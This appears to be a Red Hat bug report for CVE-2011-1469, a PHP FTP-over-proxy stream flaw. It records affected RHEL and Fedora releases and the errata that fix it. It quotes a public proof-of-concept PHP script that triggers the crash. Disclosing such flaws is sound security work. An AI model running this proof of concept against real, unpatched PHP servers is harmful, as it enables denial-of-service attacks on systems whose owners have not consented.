Bug 690905 (CVE-2011-1469)

Public PoC from [2]:
====================
<?php

        $uri =
'ftp://pkg-shadow.alioth.debian.org/pub/pkg-shadow/shadow-4.1.4.3.tar.bz2';
        $proxy = 'tcp://proxy:8080';

        $opts = array(
                'ftp' => array(
                        'proxy' => $proxy
                )
        );

        $context = stream_context_create($opts);
        stream_context_set_params($context, array());

        $fh = fopen($uri, 'r', false, $context);
        while (!feof($fh)) {
                echo "foo\n";
                fread($fh, 4 * 1024);
        }

        fclose($fh);

?>

This issue did NOT affect the version of the php package, as shipped
with Red Hat Enterprise Linux 4.

--

This issue affects the versions of the php package, as shipped with
Red Hat Enterprise Linux 5 and 6.

This issue affects the versions of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

--

This issue does NOT affect the versions of the php package, as shipped
with Fedora release of 13 and 14 (particular package updates were already
scheduled).

This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html

Statement:

This issue did not affect the version of php as shipped with Red Hat Enterprise Linux 4.

This issue has been addressed in following products:

  Red Hat Enterprise Linux 5

Via RHSA-2012:0033 https://rhn.redhat.com/errata/RHSA-2012-0033.html